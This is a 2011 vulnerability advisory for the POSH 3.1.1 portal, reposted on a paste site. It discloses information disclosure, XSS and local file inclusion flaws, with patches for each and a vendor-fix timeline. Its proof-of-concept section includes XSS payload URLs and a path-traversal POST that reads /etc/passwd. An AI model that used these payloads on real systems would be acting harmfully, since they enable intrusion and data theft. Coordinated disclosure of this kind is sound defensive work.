Guest User

Untitled

a guest
Oct 11th, 2011
32
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.68 KB | None | 0 0
  1. //----- Advisory
  2.  
  3. Program : POSH 3.1.1 and prior
  4. Vendor : www.portaneo.com
  5. Homepage : http://sourceforge.net/projects/posh/
  6. Discovery : 2011/09/19
  7. Author Contacted : 2011/09/20
  8. Found by : CrashFr
  9. This Advisory : CrashFr
  10.  
  11. //----- Application description
  12.  
  13.  
  14. POSH (Portaneo Open Source Homepage) is a personalizable interface (Netvibes, iGoogle) that can be used in a web application or educational / enterprise intranet context. Enterprise version adds social network, notebooks and search feature.
  15.  
  16.  
  17. //----- Description of vulnerability
  18.  
  19.  
  20. Local File Inclusion, Cross-Site Scripting (XSS) and Information Disclosure vulnerabilities were identified within POSH version 3.1.1
  21.  
  22.  
  23. //----- Proof Of Concept
  24.  
  25.  
  26. --- Information disclosure ---
  27. - http://localhost/posh/portal/login.php?lang=fr-en
  28. - Vulnerability at includes/sessions.inc.php
  29. Replace:
  30. if ( preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) {
  31. $_SESSION['lang'] = $_GET["lang"];
  32. By:
  33. if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {
  34. $_SESSION['lang'] = $_GET["lang"];
  35.  
  36.  
  37. --- XSS ---
  38. - http://localhost/posh/portal/login.php?message=XSS%20Catched%20!%22%29%29;alert%28%22XSS%22%29;//
  39. - Vulnerability at: templates/default/login.php line 42
  40. Replace: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.$message.'"));</script></font><br /><br />';
  41. By: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.htmlspecialchars($message).'"));</script></font><br /><br />';
  42.  
  43. - http://localhost/posh/admin/login.php?extid=ok%22%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E
  44. - Vulnerability at: templates/default/login_adminsimplified.php line 93
  45. Replace: <input type="hidden" name="extid" maxlength="16" value="<?php echo $extid; ?>" class="thinbox" />
  46. By: <input type="hidden" name="extid" maxlength="16" value="<?php if(is_int($extid)){ echo $extid; } ?>" class="thinbox" />
  47. - http://localhost/posh/admin/index.php?extid=1%29;alert%28%27XSS%27
  48. - Vulnerability at: templates/default/index_adminsimplified.php line 67 and 70
  49. Replace: $p.admin.widgets.loadModExtId(<?php echo $extid; ?>);
  50. By: $p.admin.widgets.loadModExtId(<?php if(is_int($extid)){ echo $extid; } ?>);
  51. Replace: $p.admin.widgets.refreshIcons(icon,<?php echo $extid; ?>);
  52. By: $p.admin.widgets.refreshIcons(icon,<?php if(is_int($extid)){ echo $extid; } ?>);
  53.  
  54.  
  55. --- Local File Inclusion ---
  56. - http://localhost/posh/portal/scr_changelang.php => POST lang=../../../../../../etc/passwd%00
  57. POST http://localhost/posh/portal/scr_changelang.php HTTP/1.1
  58. lang=../../../../../../../../../../../../../../../../etc/passwd%00
  59.  
  60. - Call http://localhost/posh/portal/moduleff.php for example to see the result (a lot of page use __LANG to include lang file)
  61. - Vulnerability at portal/scr_changelang.php line 67
  62. Replace: $_SESSION['lang']=$lang;
  63. By: if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {
  64. $_SESSION['lang']=$lang;
  65. }
  66.  
  67.  
  68. //----- Solution
  69.  
  70. Apply patchs
  71. Upgrade POSH to 3.1.2
  72.  
  73.  
  74. //----- Vulnerability Timeline
  75.  
  76. 2011-09-20 - Reported to vendor
  77. 2011-09-21 - Vendor Reply
  78. 2011-09-25 - Vendor released POSH 3.1.2
  79. 2011-10-10 - Vulnerability Disclosed
  80.  
  81.  
  82. # [2011-10-10]
  83.  
Advertisement
Add Comment
Please, Sign In to add comment